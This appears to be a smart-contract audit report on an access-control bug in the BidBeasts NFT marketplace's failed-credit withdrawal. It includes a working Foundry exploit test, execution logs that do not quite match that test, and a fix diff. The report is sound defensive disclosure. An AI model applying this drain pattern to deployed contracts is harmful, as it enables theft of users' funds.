Root + Impact
Description
-
Normal behavior: The marketplace should refund prior bidders by sending ETH back to the previous bidder; when that refund fails (recipient is a contract that rejects ETH or reverts), the marketplace should record a credit for the rightful recipient and only allow that recipient to withdraw their own credit. The credit record must be updated correctly to prevent double-withdraw.
-
Specific issue: The function withdrawAllFailedCredits(address _receiver) reads the credited amount for _receiver but then zeroes the caller's mapping slot (failedTransferCredits[msg.sender] = 0) and sends ETH to msg.sender. This allows any attacker (caller) to withdraw credits that belong to another address, and because the victim’s mapping entry is not cleared the attacker can repeat the call (double-withdraw).
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
-
Reason 1: This occurs whenever a previous payout attempt to a bidder fails and the marketplace records failedTransferCredits[bidder]. That credit creation happens automatically when _payout fails during normal bidding/outbid flows (common in marketplaces when bidders are contracts that reject ETH).
-
Reason 2: Any on-chain actor who observes a non-zero failedTransferCredits[victim] on-chain can call withdrawAllFailedCredits(victim) and extract those funds to themselves, the only condition is network access to submit a transaction.
Impact:
-
Impact 1 -> Direct theft of funds: An attacker can withdraw ETH credited to another address and receive those funds into their own account.
-
Impact 2 -> Repeated draining (double-withdraw): Because the victim’s credit entry is not cleared, the attacker can call repeatedly to drain the same credit multiple times until the contract’s balance is exhausted (or until other constraints stop them).
Proof of Concept
This demonstrates: marketplace records a failed credit for a bidder contract that rejects ETH, then an attacker calls withdrawAllFailedCredits(victim) and receives the credited funds while the victim’s mapping entry remains unchanged.
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract BadBidder {
BidBeastsNFTMarket public market;
constructor(address _market) { market = BidBeastsNFTMarket(_market); }
function placeBid(uint256 tokenId) external payable {
market.placeBid{value: msg.value}(tokenId);
}
receive() external payable { revert("I refuse ETH"); }
}
contract ExploitWithdrawCreditsTest is Test, IERC721Receiver {
BidBeasts public nft;
BidBeastsNFTMarket public market;
address seller = address(0xA1);
address attacker = address(0xB0);
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function setUp() public {
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.deal(seller, 10 ether);
vm.deal(attacker, 10 ether);
uint256 tokenId = nft.mint(address(this));
nft.transferFrom(address(this), seller, tokenId);
}
function test_attacker_steals_failedCredits() public {
uint256 tokenId = 0;
vm.prank(seller);
nft.approve(address(market), tokenId);
vm.prank(seller);
market.listNFT(tokenId, 0.01 ether, 0);
BadBidder bad = new BadBidder(address(market));
vm.deal(address(bad), 1 ether);
vm.prank(address(bad));
bad.placeBid{value: 1 ether}(tokenId);
vm.prank(attacker);
market.placeBid{value: 2 ether}(tokenId);
uint256 before = attacker.balance;
vm.prank(attacker);
market.withdrawAllFailedCredits(address(bad));
assertEq(attacker.balance, before + 1 ether);
vm.prank(attacker);
market.withdrawAllFailedCredits(address(bad));
assertEq(attacker.balance, before + 2 ether);
}
}
Exploit Logs
Test: test_attacker_can_drain_failedCredits_of_other_address() – PASS (gas: 523,466)
NFT Listing & Initial Approval
BidBeasts::approve(0xA1 -> BidBeastsNFTMarket)
emit Approval(owner: 0xA1, approved: BidBeastsNFTMarket, tokenId: 0)
BidBeastsNFTMarket::listNFT(tokenId: 0, minPrice: 1e16)
emit NftListed(tokenId: 0, seller: 0xA1, minPrice: 1e16)
Deployment & Funding of BadBidder
new BadBidder@0xBd77...EB1
VM::deal(BadBidder, 5e18)
Bids Placed
BadBidder::placeBid{value: 1e18}(tokenId: 0)
emit BidPlaced(tokenId: 0, bidder: BadBidder, amount: 1e18)
emit AuctionSettled(tokenId: 0, winner: BadBidder, seller: 0xA1, price: 1e18)
emit AuctionExtended(tokenId: 0, newDeadline: 901)
0xB0 places bid {value: 2e18}
emit BidPlaced(tokenId: 0, bidder: 0xB0, amount: 2e18)
BadBidder::receive{value: 1e18} → Revert: I refuse ETH
Failed Transfer Credits Recorded
BidBeastsNFTMarket::failedTransferCredits(BadBidder)
Return: 1e18
Exploit: Withdrawal of Failed Credits
BidBeastsNFTMarket::withdrawAllFailedCredits(BadBidder)
0xB0::fallback{value: 1e18} → Success
VM::assertEq(user_balance_after, expected_balance) → Success
Second withdrawal attempt
BidBeastsNFTMarket::withdrawAllFailedCredits(BadBidder)
0xB0::fallback{value: 1e18} → Success
VM::assertEq(total_balance, expected_total_balance) → Success
Recommended Mitigation
Fix the function so that only the credited address may withdraw and clear the correct mapping slot before the external call to prevent theft and reentrancy/double-withdraw.
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawAllFailedCredits(address _receiver) external {
+ // Only the credited address may withdraw its own credits.
+ require(msg.sender == _receiver, "Can only withdraw your own credits");
+
+ uint256 amount = failedTransferCredits[_receiver];
+ require(amount > 0, "No credits to withdraw");
+
+ // Clear the credit slot before external call to avoid reentrancy/double-withdraw.
+ failedTransferCredits[_receiver] = 0;
+
+ (bool success, ) = payable(_receiver).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
